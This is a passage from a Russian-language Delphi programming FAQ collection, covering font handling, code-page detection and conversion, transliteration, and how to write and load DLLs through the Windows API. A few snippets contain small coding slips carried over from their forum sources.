  ByteValue := Byte ( Style );
  { Преобразуем значение byte в TFontStyles }
  Canvas.Font.Style := TFontStyles ( ByteValue );
end;

Для восстановления шрифта, вам необходимо сохранить параметры Color, Name, Pitch, Style и Size в базе данных и назначить их соответствующим свойствам при загрузке.

Взято с http://delphiworld.narod.ru


Как сделать фон у текста прозрачным?

Для этого можно воспользоваться API функцией SetBkMode().

procedure TForm1.Button1Click(Sender: TObject);
var
  OldBkMode : integer;
begin
  with Form1.Canvas do begin
    Brush.Color := clRed;
    FillRect(Rect(0, 0, 100, 100));
    Brush.Color := clBlue;
    TextOut(10, 20, 'Not Transparent!');
    OldBkMode := SetBkMode(Handle, TRANSPARENT);
    TextOut(10, 50, 'Transparent!');
    SetBkMode(Handle, OldBkMode);
  end;
end;

Взято из http://forum.sources.ru


Распознавание кодировки

Алгоритм распознавания кодировки нужен для автоматического декодирования текста. Этот алгоритм основан на том, что некоторые буквы русского алфавита встречается очень часто, а некоторые редко. Поскольку этот способ статистический, то лучше всего он работает с большими текстами.

type
  TCode = (win, koi, iso, dos);

const
  CodeStrings: array [TCode] of String = ('win','koi','iso','dos');

procedure TForm1.Button1Click(Sender: TObject);
var
  str: array [TCode] of string;
  norm: array ['А'..'я'] of single;
  code1, code2: TCode;
  min1, min2: TCode;
  count: array [char] of integer;
  d, min: single;

  s, so: string;
  chars: array [char] of char;
  c: char;
  i: integer;
begin
  so := Memo1.Text;

  norm['А'] := 0.001;
  norm['Б'] := 0;
  norm['В'] := 0.002;
  norm['Г'] := 0;
  norm['Д'] := 0.001;
  norm['Е'] := 0.001;
  norm['Ж'] := 0;
  norm['З'] := 0;
  norm['И'] := 0.001;
  norm['Й'] := 0;
  norm['К'] := 0.001;
  norm['Л'] := 0;

  norm['М'] := 0.001;
  norm['Н'] := 0.001;
  norm['О'] := 0.001;
  norm['П'] := 0.002;
  norm['Р'] := 0.002;
  norm['С'] := 0.001;
  norm['Т'] := 0.001;
  norm['У'] := 0;
  norm['Ф'] := 0;
  norm['Х'] := 0;
  norm['Ц'] := 0;
  norm['Ч'] := 0.001;
  norm['Ш'] := 0.001;
  norm['Щ'] := 0;
  norm['Ъ'] := 0;
  norm['Ы'] := 0;
  norm['Ь'] := 0;

  norm['Э'] := 0.001;
  norm['Ю'] := 0;
  norm['Я'] := 0;
  norm['а'] := 0.057;
  norm['б'] := 0.01;
  norm['в'] := 0.031;
  norm['г'] := 0.011;
  norm['д'] := 0.021;
  norm['е'] := 0.067;
  norm['ж'] := 0.007;
  norm['з'] := 0.013;
  norm['и'] := 0.052;
  norm['й'] := 0.011;
  norm['к'] := 0.023;
  norm['л'] := 0.03;
  norm['м'] := 0.024;

  norm['н'] := 0.043;
  norm['о'] := 0.075;
  norm['п'] := 0.026;
  norm['р'] := 0.038;
  norm['с'] := 0.034;
  norm['т'] := 0.046;
  norm['у'] := 0.016;
  norm['ф'] := 0.001;
  norm['х'] := 0.006;
  norm['ц'] := 0.002;
  norm['ч'] := 0.011;
  norm['ш'] := 0.004;
  norm['щ'] := 0.004;
  norm['ъ'] := 0;
  norm['ы'] := 0.012;
  norm['ь'] := 0.012;

  norm['э'] := 0.003;
  norm['ю'] := 0.005;
  norm['я'] := 0.015;

  Str[win] := 'АаБбВвГгДдЕеЖжЗзИиЙйКкЛлМмНнОоПпРрСсТтУуФфХхЦцЧчШшЩщЪъЫыЬьЭэЮюЯя';
  Str[koi] := 'юЮаАбБцЦдДеЕфФгГхХиИйЙкКлЛмМнНоОпПяЯрРсСтТуУжЖвВьЬыЫзЗшШэЭщЩчЧъЪ';
  Str[iso] := 'РрСсТтУуФфХхЦцЧчШшЩщЪъЫыЬьЭэЮюЯяа№бёвђгѓдєеѕжізїијйљкњлћмќн§оўпџ';
  Str[dos] := 'Ђ ЃЎ‚ўѓЈ„¤…Ґ†¦‡§ЂЁ‰©ЉЄ‹"Њ¬ЌЋ®ЏЇђа'б'в"г"де–ж—зи™йљк›лњмќнћоџп';

  for c := #0 to #255 do
    Chars[c] := c;

  min1 := win;
  min2 := win;
  min := 0;
  s := so;
  fillchar(count, sizeof(count), 0);
  for i := 1 to Length(s) do
    inc(count[s[i]]);
  for c := 'А' to 'я' do
    min := min + sqr(count[c] / Length(s) - norm[c]);
  for code1 := low(TCode) to high(TCode) do begin
    for code2 := low(TCode) to high(TCode) do begin

      if code1 = code2 then continue;

      s := so;
      for i := 1 to Length(Str[win]) do
        Chars[Str[code2][i]] := Str[code1][i];
      for i := 1 to Length(s) do
        s[i] := Chars[s[i]];
      fillchar(count, sizeof(count), 0);
      for i := 1 to Length(s) do
        inc(count[s[i]]);
      d := 0;
      for c := 'А' to 'я' do

        d := d + sqr(count[c] / Length(s) - norm[c]);
      if d < min then begin
        min1 := code1;
        min2 := code2;
        min := d;
      end;
    end;
  end;

  s := Memo1.Text;
  if min1 <> min2 then begin
    for c := #0 to #255 do
      Chars[c] := c;
    for i := 1 to Length(Str[win]) do
      Chars[Str[min2][i]] := Str[min1][i];

    for i := 1 to Length(s) do
      s[i] := Chars[s[i]];
  end;
  Form1.Caption := CodeStrings[min2] + ' ' + CodeStrings[min1];

  Memo2.Text := s;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как узнать является ли окно Unicode?

{
  The IsWindowUnicode function
  determines whether the specified window is a native Unicode window

  The character set of a window is determined by the use of the RegisterClass function.
  If the window class was registered with the ANSI version of RegisterClass (RegisterClassA),
  the character set of the window is ANSI. If the window class was registered with the Unicode
  version of RegisterClass (RegisterClassW), the character set of the window is Unicode.

  The system does automatic two-way translation (Unicode to ANSI) for window messages.
  For example, if an ANSI window message is sent to a window that uses the Unicode character set,
  the system translates that message into a Unicode message before calling the window procedure.
  The system calls IsWindowUnicode to determine whether to translate the message.

}

procedure TForm1.Button1Click(Sender: TObject);
begin
  {determine if the window is a Unicode window}
  if (IsWindowUnicode(Form1.Handle)) then
    Button1.Caption := 'This window is a Unicode window'
  else
    Button1.Caption := 'This window is not a Unicode window'
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как выяснить установлены ли в системе шрифты TrueType

function IsTrueTypeInstalled: bool;
var
  {$IFDEF WIN32}
  rs : TRasterizerStatus;
  {$ELSE}
  rs : TRasterizer_Status;
  {$ENDIF}
begin
  result := false;
  if not GetRasterizerCaps(rs, sizeof(rs)) then
    exit;
  if rs.WFlags and TT_AVAILABLE <> TT_AVAILABLE then
    exit;
  if rs.WFlags and TT_ENABLED <> TT_ENABLED then
    exit;
  result := true;
end;

Взято с http://delphiworld.narod.ru


Получение имени шрифта, зная имя файла шрифта

function GetFontResourceInfoW (FontPath : PWideChar; var BufSize : DWORD; FontName : PWideChar; dwFlags : DWORD) : DWORD; stdcall; external 'GDI32.DLL';

1-ый параметр - указатель на Wide-строку, содержащую путь к файлу шрифта;
2-ой параметр - указатель на DWORD-переменную, содержащую размер выходного буфера. После выполнения функции в этой переменной будет содержаться необходимая длина буфера;
3-ий параметр - указатель на буфер, в случае успешного выполнения будет содержать Wide-строку имени шрифта;
4-ый параметр - какие-то флаги, если рыться в функции GetFontResourceInfoW особым случаем является когда dwFlags=4, но зачем это, я так и не понял - в результате будет возвращен тот же путь к файлу; ну а для получения имени шрифта флаг должен быть равен 1.
function GetFontName (FontFileA : PChar) : String;
type
  TGetFontResourceInfoW = function (FontPath : PWideChar; var BufSize : DWORD; FontName : PWideChar; dwFlags : DWORD) : DWORD; stdcall;
var
  GetFontResourceInfoW : TGetFontResourceInfoW;
  FontFileW : PWideChar;
  FontNameW : PWideChar;
  FontFileWSize, FontNameSize : DWORD;

begin
  Result := '';
  GetFontResourceInfoW := GetProcAddress(GetModuleHandle('gdi32.dll'), 'GetFontResourceInfoW');
  if @GetFontResourceInfoW = nil then Exit;
  if AddFontResource(FontFileA) = 0 then Exit;

  FontFileWSize := (Length(FontFileA)+1)*2;
  GetMem(FontFileW, FontFileWSize);
  StringToWideChar(FontFileA, FontFileW, FontFileWSize);

  FontNameSize := 0;
  FontNameW := nil;
  GetFontResourceInfoW (FontFileW, FontNameSize, FontNameW, 1);
  GetMem (FontNameW, FontNameSize);
  FontNameW^ := #0; // на случай какого-нибудь облома
  GetFontResourceInfoW (FontFileW, FontNameSize, FontNameW, 1);

  Result := FontNameW;
  FreeMem (FontFileW);
  FreeMem (FontNameW);

  RemoveFontResource(FontFileA);
end;

Пример вызова:
GetFontName('C:\MyFonts\FUTURA.TTF') - возвратит 'FuturaEugenia'.

PS: Всё бы хорошо, но эта функция хоть и есть в Win9x, только её там вызывать нельзя - пишет "This function is only valid in Windows NT mode."...
FontView в Win9x использует EnumFontFamiliesEx (видимо по предложенному Vit'ом и x77 способу)...
FontView в WinNT использует GetFontResourceInfo (в импорте вообще нет EnumFontFamiliesEx или других Enum*)...

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Перекодировка, из разных кодировок

unit ConvertEncodingUnit;
interface
type // Тип матриц перекодировки
  TCodeMatrix = array[1..255] of char;
{******************************************************************************
{ANSI, KOI8-R, KOI8-U, OEM/DOS, ISO
В этой версии имеется 6 видов матриц перекодирования (тип TCodeMatrix):
1. cmAnsiToKoi8R - перекодирует строку из кодировки ANSI в кодировку KOI8-R
2. cmAnsiToKoi8U - перекодирует строку из кодировки ANSI в кодировку KOI8-U
3. cmKoi8RToAnsi - перекодирует строку из кодировки KOI8-R в кодировку ANSI
4. cmKoi8UToAnsi - перекодирует строку из кодировки KOI8-U в кодировку ANSI
5. cmOemDosToAnsi - перекодирует строку из кодировки OEM/DOS в кодировку ANSI
6. cmIsoToAnsi - перекодирует строку из кодировки ISO в кодировку ANSI
******************************************************************************}
   function ConvertEncoding(sIn: string; sCoding: string): string;

const // Матрицы перекодировки
  FirstCodes =
    #1#2#3#4#5#6#7#8#9#10#11#12#13#14#15#16#17#18#19#20#21#22#23#24#25#26#27#28+
   #29#30#31' !"#$%&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^' +
    '_`abcdefghijklmnopqrstuvwxyz{|}~';
  cmAnsiToKoi8R: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
  + 'ЂЃ‚ѓ„…†‡€‰Љ‹ЊЌЋЏђ''""–—™љ›њќћџ ЎўЈ¤Ґ¦§Ё©Є«¬®Ї°±Ііґµ¶·Ј—є»јЅѕїбвчздецъй'
    + 'клмнопртуфхжигюыэящшьасБВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭЯЩШЬАС';
  cmAnsiToKoi8U: TCodeMatrix = FirstCodes // ver 0.8, ©VEG, 31.10.2003
  + 'ЂЃ‚ѓ„…†‡€‰Љ‹ЊЌЋЏђ''""–—™љ›њќћџ ЎўЈ¤Ґ¦§Ё©Є«¬®Ї°±Ііґµ¶·Ј—є»јЅѕїбвчздецъй'
    + 'клмнопртуфхжигюыэящшьасБВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫЭЯЩШЬАС';
  cmKoi8RToAnsi: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
  + '-¦-¬L-++T++---¦¦---?¦v??? ?°?·?=¦-ёгг¬¬¬LLL---¦¦¦¦Ё¦¦TTT¦¦¦+++©юабцдефгх'
    + 'ийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ';
  cmKoi8UToAnsi: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
  + '-¦-¬L-++T++---¦¦---?¦v??? ?°?·?=¦-ёєгії¬LLL-ґў¦¦¦¦ЁЄ¦ІЇT¦¦¦+ҐЎ©юабцдефгх'
    + 'ийклмнопярстужвьызшэщчъЮАБЦДЕФГХИЙКЛМНОПЯРСТУЖВЬЫЗШЭЩЧЪ';
  cmOemDosToAnsi: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
  + 'АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмноп---¦+¦¦¬¬¦¦¬---¬L+T+-+¦¦L'
    + 'г¦T¦=+¦¦TTLL-г++----¦¦-рстуфхцчшщъыьэюяЁёЄєЇїЎў°·v№¤¦ ';
  cmIsoToAnsi: TCodeMatrix = FirstCodes // ver 1.0, ©VEG, 31.10.2003
  + '??????????????????????????????? ЁЂЃЄЅІЇЈЉЊЋЌЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШ'
    + 'ЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя№ёђѓєѕіїјљњћќ§ўџ';

implementation

function ConvertEncoding(sIn: string; sCoding: string): string;
//sIn - строка для перекодирования
//sCoding - матрица для перекодирования
//result - полученная перекодированная строка
var
  iFtd: integer;
begin
  Result:='';
  for iFtd := 1 to length(sIn) do
    result := result + sCoding[ord(sIn[iFtd])];
end; // ver 1.0, (C)Vrublevsky Evgeny Gennadyevich (BELARUS/SLUTSK), 31.10.2003
{******************************************************************************}
end.

Автор RoboSol

Взято из http://forum.sources.ru


Транслитерация

Например, молоко - moloko. И всё.

Вот пример функции, которая транслирует из русских слов в английские.
Пригодилась, когда нужно было файлы в mp3-плеер перегонять - он русский не понимает.

unit Translate;

interface

function Convert(OldName: string): string;

implementation

function Convert(OldName: string): string;
var OldNameLength: integer;
   i: integer;
   s: string;
begin
OldNameLength := length(OldName);
s:='';
i:=1;
while i <= OldNameLength do begin
 if (OldName[i] in ['A'..'Z']+['a'..'z']+['0'..'9']+
                 ['{']+['}']+['[']+[']']+['`']+['~']+
                 ['!']+['@']+['#']+['$']+['%']+['^']+
                 ['&']+['*']+['(']+[')']+['-']+['_']+
                 ['+']+['=']+['\']+['|']+[';']+[':']+
                 ['"']+['{']+['<']+['>']+[',']+['.']+
                 [' ']+['?']+['/']+['№']+['^'])
                then s:=s+OldName[i];
 if OldName[i] in ['А','Б','а','б'] then
    s:=s+chr(ord(OldName[i])-127);
 if OldName[i] in ['В','в'] then
    s:=s+chr(ord(OldName[i])-108);
 if OldName[i] in ['Г','г','Ж','ж'] then
    s:=s+chr(ord(OldName[i])-124);
 if OldName[i] in ['Д','д','Е','е'] then
    s:=s+chr(ord(OldName[i])-128);
 if OldName[i] in ['З','з'] then
    s:=s+chr(ord(OldName[i])-109);
 if OldName[i] in ['И','и','К','к','Л','л','М','м','Н','н','О','о','П','п'] then
    s:=s+chr(ord(OldName[i])-127);
 if OldName[i] in ['Й','й'] then
    s:=s+chr(ord(OldName[i])-128);
 if OldName[i] in ['Р','р','С','с','Т','т','У','у'] then
    s:=s+chr(ord(OldName[i])-126);
 if OldName[i] in ['Ф','ф'] then
    s:=s+chr(ord(OldName[i])-142);
 if OldName[i] in ['Х','х'] then
    s:=s+chr(ord(OldName[i])-141);
 if OldName[i] in ['Ц','ц'] then
    s:=s+chr(ord(OldName[i])-147);
 if OldName[i] in ['Ы','ы'] then
    s:=s+chr(ord(OldName[i])-130);
 if OldName[i] in ['Э','э'] then
    s:=s+chr(ord(OldName[i])-152);
 if OldName[i] = 'Ё' then s:=s+'Yo';
 if OldName[i] = 'ё' then s:=s+'yo';
 if OldName[i] = 'Ч' then s:=s+'Ch';
 if OldName[i] = 'ч' then s:=s+'ch';
 if OldName[i] = 'Ш' then s:=s+'Sh';
 if OldName[i] = 'ш' then s:=s+'sh';
 if OldName[i] = 'Щ' then s:=s+'Sch';
 if OldName[i] = 'щ' then s:=s+'sch';
 if OldName[i] in ['Ъ','ъ','Ь','ь'] then s:=s+chr(39);
 if OldName[i] = 'Ю' then s:=s+'Yu';
 if OldName[i] = 'ю' then s:=s+'yu';
 if OldName[i] = 'Я' then s:=s+'Ya';
 if OldName[i] = 'я' then s:=s+'ya';
 i:=i+1;
end;
Convert:=s;
end;

end.

Автор NiJazz
Взято с Vingrad.ru http://forum.vingrad.ru


Работа с DLL

Cодержание раздела:

Получение списка DLL загруженных приложением
Пример простейшей DLL в Delphi
Определение функции в DLL
Как создать DLL только с ресурсами?
Как получить версию моей DLL?
Определение полного пути и имени файла DLL
Статическая и динамическая загрузка DLL
Загрузка DLL
Как написать DLL, которую можно было-бы выполнить с помощью RunDll, RunDll32?
Соглашения о вызовах New!
Использование модуля ShareMem New!
Как выгрузить Dll из памяти? New!
DLL и ресурсы New!
Разработка DLL в среде Borland Delphi (статья) New!
Использование DLL в качестве Plug-in New!
Как найти полный путь и имя файла запущенной DLL из самой DLL New!
DLL со строковыми ресурсами New!
Импортирование, или обертка вызовов функций DLL New!
Аналог DumpBin New!

См. также в других разделах:
Потоки и DLL
Как использовать форму из DLL
Как работать с ADO компонентами в DLL?
Как загрузить BMP файл из DLL?
Как извлечь иконку из EXE или DLL?
Использование WSAAsyncSelect в DLL
Как сделать procedure/function с переменным количеством параметров? New!


Получение списка DLL загруженных приложением

Автор: Simon Carter

Иногда бывает полезно знать какими DLL-ками пользуется Ваше приложение. Давайте посмотрим как это можно сделать в Win NT/2000.

Пример функции

unit ModuleProcs;

interface

uses Windows, Classes;

type
  TModuleArray = array[0..400] of HMODULE;
  TModuleOption = (moRemovePath, moIncludeHandle);
  TModuleOptions = set of TModuleOption;

function GetLoadedDLLList(sl: TStrings;
  Options: TModuleOptions = [moRemovePath]): Boolean;

implementation

uses SysUtils;

function GetLoadedDLLList(sl: TStrings;
  Options: TModuleOptions = [moRemovePath]): Boolean;
type
EnumModType = function (hProcess: Longint; lphModule: TModuleArray;
  cb: DWord; var lpcbNeeded: Longint): Boolean; stdcall;
var
  psapilib: HModule;
  EnumProc: Pointer;
  ma: TModuleArray;
  I: Longint;
  FileName: array[0..MAX_PATH] of Char;
  S: string;
begin
  Result := False;

  (* Данная функция запускается только для Widnows NT *)
  if Win32Platform <> VER_PLATFORM_WIN32_NT then
    Exit;

  psapilib := LoadLibrary('psapi.dll');
  if psapilib = 0 then
    Exit;
  try
    EnumProc := GetProcAddress(psapilib, 'EnumProcessModules');
    if not Assigned(EnumProc) then
      Exit;
    sl.Clear;
    FillChar(ma, SizeOF(TModuleArray), 0);
    if EnumModType(EnumProc)(GetCurrentProcess, ma, 400, I) then
    begin
      for I := 0 to 400 do
        if ma[i] <> 0 then
        begin
          FillChar(FileName, MAX_PATH, 0);
          GetModuleFileName(ma[i], FileName, MAX_PATH);
          if CompareText(ExtractFileExt(FileName), '.dll') = 0 then
          begin
            S := FileName;
            if moRemovePath in Options then
              S := ExtractFileName(S);
            if moIncludeHandle in Options then
              sl.AddObject(S, TObject(ma[I]))
            else
              sl.Add(S);
          end;
        end;
    end;
    Result := True;
  finally
    FreeLibrary(psapilib);
  end;
end;

end.

Для вызова приведённой функции надо сделать следующее:

Добавить listbox на форму (Listbox1)
Добавить кнопку на форму (Button1)

Обработчик события OnClick для кнопки будет выглядеть следующим образом

procedure TForm1.Button1Click(Sender: TObject);
begin
  GetLoadedDLLList(ListBox1.Items, [moIncludeHandle, moRemovePath]);
end;

Взято из http://forum.sources.ru


Пример простейшей DLL в Delphi

Код, представленный ниже демонстрирует простейшую DLL с всего одной функцией "TestDLL". Результат этой процедуры - диалоговое окошко с текстом.

Library Test;

{ В хелпе Delphi 5 рекомендуют добавлять юнит ShareMem для улучшения управления памятью и экспортирования вызываемых строк. }

Uses ShareMem, SysUtils, Windows, Dialogs;
{$R *.RES}

Const TestConst = 'This is a tests DLL.';
{ Так же рекомендуется использовать параметр StdCall. Это позволяет сделать DLL совместимую с другими языками... }

Procedure TestDLL (TestStr : String); Stdcall
Begin
     MessageDlg (TestConst + Chr (13) + Chr (13) + 'Your string is: ' + TestStr, mtInformation, [mbOk], 0);
End;

Exports TestDLL;  // С таким именем процедура будет доступна в приложении...

Begin
End.

Теперь достаточно достаточно объявить в приложении процедуру из DLL и скопировать саму DLL в директорию с приложением.

Procedure TestDLL (TestStr : Sting); Stdcall; External 'Test.dll';

Взято из http://forum.sources.ru


Определение функции в DLL

Данная функция определяет присутствие нужной функции в библиотеке (dll) и, в случае нахождения искомой функции возвращает True, иначе False.

function FuncAvail (VLibraryname, VFunctionname: string; var VPointer: pointer):
boolean;
var
  Vlib: tHandle;
begin
  Result := false;
  VPointer := NIL;
   if LoadLibrary(PChar(VLibraryname)) = 0 then
      exit;
   VPointer := GetModuleHandle(PChar(VLibraryname));
   if Vlib <> 0 then
   begin
    VPointer := GetProcAddress(Vlib, PChar(VFunctionname));
    if VPointer <> NIL then
       Result := true;
   end;
end;

Взято из http://forum.sources.ru


Как создать DLL только с ресурсами?

Создайте и откомпилируйте пустой проект DLL, который содержит ссылку на файл ресурсов .res, который содержит Ваши ресурсы.

library ResTest;
uses
  SysUtils;

{$R MYRES.RES}

begin
end.

Для использования такой DLL, просто загрузите dll и ресурсы, которые Вы будете использовать:

Пример:

{$IFDEF WIN32}
const BadDllLoad = 0;
{$ELSE}
const BadDllLoad = 32;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
  h : THandle;
  Icon : THandle;

begin
  h := LoadLibrary('RESTEST.DLL');

  if h <= BadDllLoad then
    ShowMessage('Bad Dll Load')
  else begin
    Icon := LoadIcon(h, 'ICON_1');
    DrawIcon(Form1.Canvas.Handle, 10, 10, Icon);
    FreeLibrary(h);
  end;
end;

Взято из http://forum.sources.ru


Как получить версию моей DLL?

procedure GetFileVersion(FileName: string; var Major1, Major2,
    Minor1, Minor2: Integer);
  var
    Info: Pointer;
    InfoSize: DWORD;
    FileInfo: PVSFixedFileInfo;
    FileInfoSize: DWORD;
    Tmp: DWORD;
  begin
    InfoSize := GetFileVersionInfoSize(PChar(FileName), Tmp);
    if InfoSize = 0 then
      //Файл не содержит информации о версии
    else
    begin
      GetMem(Info, InfoSize);
      try
        GetFileVersionInfo(PChar(FileName), 0, InfoSize, Info);
        VerQueryValue(Info, '\', Pointer(FileInfo), FileInfoSize);
        Major1 := FileInfo.dwFileVersionMS shr 16;
        Major2 := FileInfo.dwFileVersionMS and $FFFF;
        Minor1 := FileInfo.dwFileVersionLS shr 16;
        Minor2 := FileInfo.dwFileVersionLS and $FFFF;
      finally
        FreeMem(Info, FileInfoSize);
      end;
    end;
  end;

Взято из http://forum.sources.ru


Определение полного пути и имени файла DLL

Следующий пример демонстрирует функцию, которая позволяет определить полный путь откуда была загружена dll:

uses Windows;

procedure ShowDllPath stdcall;
var
  TheFileName : array[0..MAX_PATH] of char;
begin
  FillChar(TheFileName, sizeof(TheFileName), #0);
  GetModuleFileName(hInstance, TheFileName, sizeof(TheFileName));
  MessageBox(0, TheFileName, 'The DLL file name is:', mb_ok);
end;

Взято из http://forum.sources.ru


Статическая и динамическая загрузка DLL

DLL возможно загружать двумя способами:

- статически
- динамически

Давайте создадим простую библиотеку DLL:

Project file name: c:\example\exdouble\exdouble.dpr

library ExDouble;
// my simple dll

function calc_double ( r: real ): real; stdcall;
begin
     result := r * 2;
end;

exports
  calc_double index 1;

end;

Теперь посмотрим, как её можно загружать:

СТАТИЧЕСКАЯ ЗАГРУЗКА DLL
==================

При таком способе загрузки достаточно поместить файл DLL в директорию приложения или в директорию Windows, или в Windows\System, Windows\Command. Однако, если система не найдёт этого файла в этих директория, то высветится сообщение об ошибке (DLL не найдена, или что-то в этом духе).

unit untMain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

function calc_double ( r: real ): real; stdcall; external 'ExDouble.dll';

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
     // в окошке сообщения будет цифра 21
     showMessage ( floatToStr ( calc_double ( 10.5 ) ) );
end;

end.

ДИНАМИЧЕСКАЯ ЗАГРУЗКА DLL
===================

При динамической загрузке требуется написать немного больше кода.

А вот как это выглядит:
----------------------------------------------------------------------

unit untMain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  Tcalc_double = function  ( r: real ): real;

  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
   hndDLLHandle: THandle;
   calc_double: Tcalc_double;
begin
     try
        // загружаем dll динамически
        hndDLLHandle := loadLibrary ( 'ExDouble.dll' );

        if hndDLLHandle <> 0 then begin

           // получаем адрес функции
           @calc_double := getProcAddress ( hndDLLHandle, 'calc_double' );

           // если адрес функции найден
           if addr ( calc_double ) <> nil then begin
              // показываем результат ( 21...)
              showMessage ( floatToStr ( calc_double ( 10.5 ) ) );
           end else
              // DLL не найдена ("handleable")
              showMessage ( 'Function not exists...' );

        end else
           // DLL не найдена ("handleable")
           showMessage ( 'DLL not found...' );

     finally
        // liberar
        freeLibrary ( hndDLLHandle );
     end;
end;

end.

Взято из http://forum.sources.ru


Загрузка DLL

Предлагаю вашему вниманию очередной выпуск рассылки, в котором я продолжаю обсуждать
вопросы разработки и использования DLL в Borland Delphi. Для новых подписчиков сообщаю,
что первую часть статьи они могут посмотреть в архиве рассылки, выпуск номер 13.
Прошу прощения у тех, кто писал мне, но не получил ответа. В ближайшее время постараюсь это исправить.

Итак, продолжим.

Загрузка DLL

Прежде чем начать использование какой-либо процедуры или функции, находящейся в динамической библиотеке,
вам необходимо загрузить DLL в оперативную память. Загрузка библиотеки может быть осуществлена
одним из двух способов: статическая загрузка и динамическая загрузка.
Оба метода имеют как преимущества, так и недостатки.

Статическая загрузка означает, что динамическая библиотека загружается автоматически
при запуске на выполнение использующего ее приложения. Для того чтобы использовать такой способ загрузки,
вам необходимо воспользоваться ключевым словом external при описании экспортируемой из
динамической библиотеки функции или процедуры. DLL автоматически загружается при старте программы,
и Вы сможете использовать любые экспортируемые из нее подпрограммы точно так же,
как если бы они были описаны внутри модулей приложения.
Это наиболее легкий способ использования кода, помещенного в DLL .
Недостаток метода заключается в том, что если файл библиотеки, на который
имеется ссылка в приложении, отсутствует, программа откажется загружаться.

Смысл динамического метода заключается в том, что вы загружаете библиотеку не при старте приложения,
а в тот момент, когда вам это действительно необходимо. Сами посудите, ведь если функция, описанная
в динамической библиотеке, используется только при 10% запусков программы, то совершенно нет
смысла использовать статический метод загрузки. Выгрузка библиотеки из памяти в данном случае
также осуществляется под вашим контролем. Еще одно преимущества такого способа
загрузки DLL - это уменьшение (по понятным причинам) времени старта вашего приложения.
А какие же у этого способа имеются недостатки? Основной, как мне кажется, - это то, что использование
данного метода является более хлопотным, чем рассмотренная выше статическая загрузка.
Сначала вам необходимо воспользоваться функцией Windows API LoadLibrary .
Для получения указателя на экспортируемой процедуры или функции должна
использоваться функция GetProcAddress. После завершения использования библиотеки DLL
должна быть выгружена с применением FreeLibrary.

Вызов процедур и функций, загруженных из DLL.

Способ вызова процедур и функций зависит от того, каким образом вы загрузили динамическую библиотеку,
в которой эти подпрограммы находятся.

Вызов функций и процедур из статически загруженных DLL достаточно прост. Первоначально в приложении
должно содержаться описание экспортируемой функции (процедуры). После этого вы можете их использовать
точно так же, как если бы они были описаны в одном из модулей вашего приложения.
Для импорта функции или процедуры, содержащейся в DLL , необходимо использовать
модификатор external в их объявлении. К примеру, для рассмотренной нами выше процедуры HelloWorld
в вызывающем приложении должна быть помещена следующая строка:

procedure SayHello(AForm : TForm); external myfirstdll.dll';
Ключевое слово external сообщает компилятору, что данная процедура может быть найдена в
динамической библиотеке (в нашем случае - myfirstdll.dll).
Далее вызов этой процедуры выглядит следующим образом:

...
HelloWorld(self);
 ...

При импорте функции и процедур будьте особенно внимательны при написании их имен и интерфейсов!
Дело в том, что в процессе компиляции приложения не производится проверки на правильность имен объектов,
экспортируемых из DLL, осуществляться не будет, и если вы неправильно описали какую-нибудь функцию,
то исключение будет сгенерировано только на этапе выполнения приложения.

Импорт из DLL может проводиться по имени процедуры (функции), порядковому номеру или
с присвоением другого имени.

В первом случае вы просто объявляете имя процедуры и библиотеку, из которой ее импортируете
(мы это рассмотрели чуть выше). Импорт по порядковому номеру требует от вас указание этого самого номера:

procedure HelloWorld(AForm : TForm);
  external myfirstdll.dll' index 15;

В этом случае имя, которое вы даете процедуре при импорте не обязательно должно совпадать с тем,
которое было указано для нее в самой DLL. Т.е. приведенная выше запись означает,
что вы импортируете из динамической библиотеки myfirstdll.dll процедуру, которая в ней экспортировалась
пятнадцатой, и при этом в рамках вашего приложения этой процедуре дается имя SayHello.

Если вы по каким-то причинам не применяете описанный выше способ импорта,
но тем не менее хотите изменить имя импортируемой функции (процедуры), то можно воспользоваться третьим методом:

procedure CoolProcedure;
  external myfirstdll.dll' name DoSomethingReallyCool';

Здесь импортируемой процедуре CoolProcedure дается имя DoSomethingReallyCool.
Вызов процедур и функций, импортируемых из динамически загружаемых библиотек
несколько более сложен, чем рассмотренный нами выше способ. В данном случае требуется объявить
указатель на функцию или процедуру, которую вы собираетесь использовать.
Помните процедуру HelloWorld? Давайте посмотрим, что необходимо сделать для того,
чтобы вызвать ее на выполнение в случае динамической загрузки DLL. Во-первых, вам
необходимо объявить тип, который описывал бы эту процедуру:

type
  THelloWorld = procedure(AForm : TForm);

Теперь вы должны загрузить динамическую библиотеку, с помощью GetProcAddress получить
указатель на процедуру, вызвать эту процедуру на выполнение, и, наконец, выгрузить DLL из памяти.
Ниже приведен код, демонстрирующий, как это можно сделать:

var
  DLLInstance : THandle;
  HelloWorld : THelloWorld;
begin
  { загружаем DLL }
  DLLInstance := LoadLibrary(myfirstdll.dll');
  { получаем указатель }
